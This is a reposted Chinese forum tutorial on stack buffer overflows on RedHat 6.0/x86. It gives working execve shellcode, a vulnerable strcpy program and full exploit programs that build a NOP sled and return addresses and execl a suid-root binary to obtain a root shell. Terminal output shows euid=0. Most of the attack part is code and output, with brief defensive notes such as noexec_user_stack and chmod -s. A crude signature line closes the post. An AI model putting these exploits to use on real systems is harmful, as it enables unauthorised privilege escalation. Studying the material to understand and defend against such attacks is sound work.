发新话题
打印

[转载]shellcode技术探讨续二

[转载]shellcode技术探讨续二

  信息来源:xfocus

概述:

   本文给出一个完整的利用缓冲区溢出取得root shell的
   示例,只要你照着步骤一步步下来,就不会觉得它的神秘,
   而我的意图正在于此。如果看不明白什么地方,可以在这里
   提问,mail to: ,或者到绿色兵团的
   Unix安全论坛上提问,tt在那里。水木清华97年以前就大范
   围高水平讨论过缓冲区溢出,你没赶上只能怪自己生不逢时。

测试:

   RedHat 6.0/Intel PII

目录:

   1.  先来看一次缓冲区溢出
   2.  研究这个溢出
   3.  修改代码加强理解
   4.  进一步修改代码
   5.  还想到什么
   6.  堆栈可执行
   7.  一个会被缓冲区溢出攻击的程序例子
   8.  利用缓冲区溢出取得shell
   9.  分析取得shell失败的原因
   10. 危险究竟在于什么
   11. 待溢出缓冲区不足以容纳shellcode时该如何溢出
   12. 总结与思考

1. 先来看一次缓冲区溢出

vi shelltest.c

/* 这是原来的shellcode */
/*
char shellcode[] =
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
*/

/* 这是我们昨天自己得到的shellcode */
char shellcode[] =
   "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b"
   "\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff/bin/ksh";

char large_string[128];

int main ()
{
   char  buffer[96];
   int   i;
   long * long_ptr = ( long * )large_string;

   for ( i = 0; i < 32; i++ )
   {
      /* 用buffer地址一路填写large_string,一个指针占用4个字节 */
      *( long_ptr + i ) = ( int )buffer;
   }
   for ( i = 0; i < strlen( shellcode ); i++ )
   {
      large_string[ i ] = shellcode[ i ];
   }
   /* 这个语句导致main()的返回地址被修改指向buffer */
   strcpy( buffer, large_string );
}

gcc -o shelltest shelltest.c
./shelltest
exit

这个程序所做的是,在large_string中填入buffer的地址,并把shell代码
放到large_string的前面部分。然后将large_string拷贝到buffer中,造成它溢
出,使返回地址变为buffer,而buffer的内容为shell代码。这样当程序试图从
main()中返回时,就会转而执行shell。

scz注:原文有误,不是试图从strcpy()返回,而是试图从main()返回,必须
     区别这两种说法。

2. 研究这个溢出

在shellcode后面大量追加buffer指针,这是程序的关键所在,只有这样才能
使得buffer指针覆盖返回地址。其次,返回地址是四字节四字节来的,所以
在程序中出现的128和96不是随便写的数字,这些4的整数倍的数字保证了
在strcpy()调用中能恰好对齐位置地覆盖掉返回地址,否则前后一错位就
不是那么回事情了。

要理解程序的另外一个关键在于,堆是位于代码下方栈上方的。所以buffer
的溢出只会朝栈底方向前进,并不会覆盖掉main()函数本身的代码,也是附和
操作系统代码段只读要求的。不要错误地怀疑main()函数结束处的ret语句会
被覆盖,切记这点。很多阅读该程序的兄弟错误地认为buffer位于代码段中,
于是一路覆盖下来破坏了代码本身,昏倒。

3. 修改代码加强理解

我们先只做一个修改:

   for ( i = 0; i < 32; i++ )
   {
      /* 用shellcode地址一路填写large_string,一个指针占用4个字节 */
      *( long_ptr + i ) = ( int )shellcode;
   }

返回地址被覆盖成shellcode指针,同样达到了取得shell的效果。

4. 进一步修改代码

char shellcode[] =
   "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b"
   "\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff/bin/ksh";

char large_string[128];

int main ()
{
   char  buffer[96];
   int   i;
   long * long_ptr = ( long * )large_string;

   for ( i = 0; i < 32; i++ )
   {
      /* 用shellcode地址一路填写large_string,一个指针占用4个字节 */
      *( long_ptr + i ) = ( int )shellcode;
   }
   /* 这个语句导致main()的返回地址被修改指向buffer */
   strcpy( buffer, large_string );
}

啊哈,还是达到了效果。完全没有必要把shellcode拷贝到buffer中来嘛,定义
buffer的唯一作用就是利用获得堆指针进而向栈底进行覆盖,达到覆盖返回地址
的效果。

5. 还想到什么

既然buffer本身一钱不值,为什么要定义那么大,缩小它!

char shellcode[] =
   "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b"
   "\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff/bin/ksh";

char large_string[12];  /* 修改 */

int main ()
{
   char  buffer[4];  /* 修改 */
   int   i;
   long * long_ptr = ( long * )large_string;

   for ( i = 0; i < 3; i++ )  /* 修改 */
   {
      /* 用shellcode地址一路填写large_string,一个指针占用4个字节 */
      *( long_ptr + i ) = ( int )shellcode;
   }
   /* 这个语句导致main()的返回地址被修改指向buffer */
   strcpy( buffer, large_string );
}

打住,再修改就失去研究的意义了。

6. 堆栈可执行

在这里我们需要解释一个概念,什么叫堆栈可执行。
按照上述第1条目中给出的代码,实际上shellcode进入了堆区甚至栈区,
最终被执行的是堆栈中的数据,所谓堆栈可执行,大概是说允许堆栈中
的数据被作为指令执行。之所以用大概这个词,因为我自己对保护模式
汇编语言不熟悉,不了解具体细节,请熟悉的兄弟再指点。许多操作系
统可以设置系统参数禁止把堆栈中的数据作为指令执行,比如solaris
中可以在/etc/system中设置:

* Foil certain classes of bug exploits
set noexec_user_stack = 1

* Log attempted exploits
set noexec_user_stack_log = 1

Linux下如何禁止堆栈可执行我也没仔细看过相关文档,谁知道谁就说
一声吧。

按照上述第3条目及其以后各条目给出的代码,实际上执行了位于数据段
.data中的shellcode。我不知道做了禁止堆栈可执行设置之后,能否阻止
数据段可执行?谁了解保护模式汇编,给咱们讲讲。

即使这些都被禁止了,也可以在代码段中嵌入shellcode,代码段中的
shellcode是一定会被执行的。

可是,上面的讨论忽略了一个重要前提,我们要溢出别人的函数,而
不是有源代码供你修改的自己的函数。在这个前提下,我们最可能利用的
就是第一种方式了,明白?

7. 一个会被缓冲区溢出攻击的程序例子

我们仅仅明白了如何利用缓冲区溢出修改函数的返回地址而已。可前面修改的
是我们自己的main()函数返回地址,没有用。仔细想想,如果执行一个suid了
的程序,该程序的main()函数实现中有下述代码:

/* gcc -o overflow overflow.c */
int main ( int argc, char * argv[] )
{
   char buffer[ 16 ] = "";
   if ( argc > 1 )
   {
      strcpy( buffer, argv[1] );
      puts( buffer );
   }
   else
   {
      puts( "Argv[1] needed!" );
   }
   return 0;
}

[scz@ /home/scz/src]> ./overflow 0123456789abcdefghi
0123456789abcdefghi
[scz@ /home/scz/src]> ./overflow 0123456789abcdefghij
0123456789abcdefghij
Segmentation fault (core dumped)
[scz@ /home/scz/src]> ./overflow 0123456789abcdefghijk
0123456789abcdefghijk
BUG IN DYNAMIC LINKER ld.so: dl-runtime.c: 61: fixup: Assertion `((reloc->r_info) & 0xff) == 7&#39; failed!
[scz@ /home/scz/src]> ./overflow 0123456789abcdefghijkl
0123456789abcdefghijkl
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb overflow
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"..
(gdb) target core core < -- -- -- 调入core文件
Core was generated by `./overflow 0123456789abcdefghijkl&#39;.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0  0x40006c79 in _dl_load_cache_lookup (name=Cannot access memory at address 0x6a69686f.
) at ../sysdeps/generic/dl-cache.c:202
../sysdeps/generic/dl-cache.c:202: No such file or directory.
(gdb) detach < -- -- -- 卸掉core文件
No core file now.
(gdb)

8. 利用缓冲区溢出取得shell

/* gcc -o overflow_ex overflow_ex.c */

#define BUFFER_SIZE   256
#define DEFAULT_OFFSET 64

unsigned long get_esp ()
{
   __asm__
   ("
      movl %esp, %eax
   ");
}

int main ( int argc, char * argv[] )
{

   char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b"
      "\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/ksh";

   char *       buffer  = 0;
   unsigned long * pAddress = 0;
   char *       pChar   = 0;
   int         i;
   int         offset  = DEFAULT_OFFSET;

   buffer = ( char * )malloc( BUFFER_SIZE * 2 + 1 );
   if ( buffer == 0 )
   {
      puts( "Can&#39;t allocate memory" );
      exit( 0 );
   }
   pChar = buffer;
   /* fill start of buffer with nops */
   memset( pChar, 0x90, BUFFER_SIZE - strlen( shellcode ) );
   pChar += ( BUFFER_SIZE - strlen( shellcode ) );
   /* stick asm code into the buffer */
   for ( i = 0; i < strlen( shellcode ); i++ )
   {
      *( pChar++ ) = shellcode[ i ];
   }
   pAddress = ( unsigned long * )pChar;
   for ( i = 0 ; i < ( BUFFER_SIZE / 4 ); i++ )
   {
      *( pAddress++ ) = get_esp() + offset;
   }
   pChar  = ( char * )pAddress;
   *pChar = 0;
   execl( "/home/scz/src/overflow", "/home/scz/src/overflow", buffer, 0 );
   return 0;
}

程序中get_esp()函数的作用就是定位堆栈位置。首先分配一块内存buffer,然后在buffer的前面部分
填满NOP,后面部分放shellcode。最后部分是希望程序返回的地址,由栈顶指针加偏移得到。当以buffer
为参数调用overflow时,将造成overflow程序的缓冲区溢出,其缓冲区被buffer覆盖,而返回地址将指向
NOP指令。

[scz@ /home/scz/src]> gcc -o overflow_ex overflow_ex.c
[scz@ /home/scz/src]> ./overflow_ex
... ...
.../bin/ksh...
... ...
Segmentation fault (core dumped)
[scz@ /home/scz/src]>

失败,虽然发生了溢出,却没有取得可以使用的shell。

9. 分析取得shell失败的原因

条目7中给出的源代码表明overflow.c只提供了16个字节的缓冲区,
按照我们前面讨论的溢出技术,overflow_ex导致overflow的main()函数的返回地址被0x90覆盖,
没有足够空间存放shellcode。

让我们对overflow.c做一点小小的调整以迁就overflow_ex.c的成功运行:

old:   char buffer[ 16 ] = "";
new:   char buffer[ 256 ] = "";

[scz@ /home/scz/src]> ./overflow_ex
... ... < -- -- -- NOP指令的汉字显示
.../bin/ksh...
... ... < -- -- -- 返回地址的汉字显示
$ exit < -- -- -- 取得了shell
[scz@ /home/scz/src]>

10. 危险究竟在于什么

假设曾经发生过这样的操作:

[root@ /home/scz/src]> chown root.root overflow
[root@ /home/scz/src]> chmod +s overflow
[root@ /home/scz/src]> ls -l overflow
-rwsr-sr-x  1 root    root overflow
[root@ /home/scz/src]>

好了,麻烦就是这样开始的:

[scz@ /home/scz/src]> ./overflow_ex
... ... < -- -- -- NOP指令的汉字显示
.../bin/ksh...
... ... < -- -- -- 返回地址的汉字显示
# id < -- -- -- 你得到了root shell,看看你是谁吧
uid=500(scz) gid=100(users) euid=0(root) egid=0(root) groups=100(users)
                   ~~~~~~~~~~~~~~~~~~~~~~~~~ 昏倒
# exit
[scz@ /home/scz/src]> id
uid=500(scz) gid=100(users) groups=100(users)
[scz@ /home/scz/src]>

至此你应该明白如何书写自己的shellcode,如何辨别一个shellcode是否
真正是在提供shell而不是木马,什么是缓冲区溢出,究竟如何利用缓冲区
溢出,什么情况下的缓冲区溢出对攻击者非常有利,suid/sgid程序的危险
性等等。于是你也明白了,为什么某些exploit出来之后如果没有补丁,
一般都建议你先chmod -s,没有什么奇怪,虽然取得shell,但不是
root shell而已。

11. 待溢出缓冲区不足以容纳shellcode时该如何溢出

vi overflow.c

/* gcc -o overflow overflow.c */
int main ( int argc, char * argv[] )
{
   char buffer[ 9 ] = "";
   if ( argc > 1 )
   {
      strcpy( buffer, argv[1] );
      puts( buffer );
   }
   else
   {
      puts( "Argv[1] needed!" );
   }
   return 0;
}

---------------------------------------

vi overflow_ex.c

/* gcc -o overflow_ex overflow_ex.c */

#define BUFFER_SIZE   256

/* 取栈基指针 */
unsigned long get_ebp ()
{
   __asm__
   ("
      movl %ebp, %eax
   ");
}

int main ( int argc, char * argv[] )
{

   char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b"
      "\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/ksh";

   char *       buffer  = 0;
   unsigned long * pAddress = 0;
   char *       pChar   = 0;
   int         i;

   buffer = ( char * )malloc( BUFFER_SIZE * 2 + 1 );
   if ( buffer == 0 )
   {
      puts( "Can&#39;t allocate memory" );
      exit( 0 );
   }
   pAddress = ( unsigned long * )buffer;
   for ( i = 0 ; i < ( BUFFER_SIZE / 4 ); i++ )
   {
      *( pAddress++ ) = get_ebp() + BUFFER_SIZE;
   }
   pChar = buffer + BUFFER_SIZE;
   /* fill start of buffer with nops */
   memset( pChar, 0x90, BUFFER_SIZE - strlen( shellcode ) );
   pChar += ( BUFFER_SIZE - strlen( shellcode ) );
   /* stick asm code into the buffer */
   for ( i = 0; i < strlen( shellcode ); i++ )
   {
      *( pChar++ ) = shellcode[ i ];
   }
   *pChar = 0;
   execl( "/home/scz/src/overflow", "/home/scz/src/overflow", buffer, 0 );
   return 0;
}

[scz@ /home/scz/src]> ./overflow_ex
... ... < -- -- -- 返回地址的汉字显示
... ... < -- -- -- NOP指令的汉字显示
.../bin/ksh... < -- -- -- shellcode的汉字显示
$ exit < -- -- -- 溢出成功,取得shell
[scz@ /home/scz/src]>

warning3注:对于简单的弱点程序,这种方法是可行的.不过如果问题
函数有很多参数,并且这些参数在strcpy()之后还要使用的话,这种方
法就很难成功了.
例如:
vulnerable_func(arg1,arg2,arg3)
{
char *buffer[16];
...
strcpy(buffer,arg1);
...
other_func(arg2);
...
other_func(arg3);
...
}
如果直接覆盖,就会导致arg1,arg2,arg3也被覆盖,函数就可能不能正常返回.

Aleph1的办法是将shellcode放到环境变量里传递给有弱点的函数,用环境变量
的地址做为返回地址,这样我们可以只用24个字节的buffer来覆盖掉返回地址,
而不需要改动参数.

12. 总结与思考

   上面这些例子本身很简单,完全不同于那些极端复杂的溢出例子。但无论多么
   复杂,其基本原理是一样的。要完成取得root shell的缓冲区攻击:

   a. 有一个可以发生溢出的可执行程序,各种Mail List会不断报告新发现的可供
     攻击的程序;自己也可以通过某些低级调试手段获知程序中是否存在容易发生
     溢出的函数调用,这些调试手段不属于今天讲解范畴,以后再提。
   b. 该程序是root的suid程序,用ls -l确认。
   c. 普通用户有适当的权限运行该程序。
   d. 编写合理的溢出攻击程序,shellcode可以从以前成功使用过的例子中提取。
   e. 要合理调整溢出程序,寻找(或者说探测)main()函数的返回地址存放点,找到
     它并用自己的shellcode地址覆盖它;这可能需要很大的耐心和毅力。

   从这些简单的示例中看出,为了得到一个可成功运行的exploit,攻击者们付出过太
   多心血,每一种技术的产生和应用都是各种知识长期积累、自己不断总结、大家群策
   群力的结果,如果认为了解几个现成的bug就可以如何如何,那是种悲哀。

后记:

   颠峰时刻的水木清华的确不是其他站点可以大范围超越的,尽管在某些个别版面上
   存在着分庭抗礼。如果你想了解系统安全,应该从水木清华 Hacker 版98.6以前的
   所有精华区打包文件开始,那些旧日的讨论和技术文章在现在看来也值得初学者仔
   细研读。

   文章的宗旨并不是教你进行实际破坏,但你掌握了这种技术,或者退一步,了解过这
   种技术,对于狂热爱好计算机技术的你来说,不是什么坏事。也许在讨论它们的时候,
   某些人企图阻止过你了解它们,或者当你想了解它们的时候,有人给你带来过不愉快
   的感受,忘记这些人,just do it! 只是你还应该明白一些事实,看过<<这个杀手不
   太冷>>没有,no children、no women,我想说的不是这个,但你应该明白我想说什么。
   Good luck for you.
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题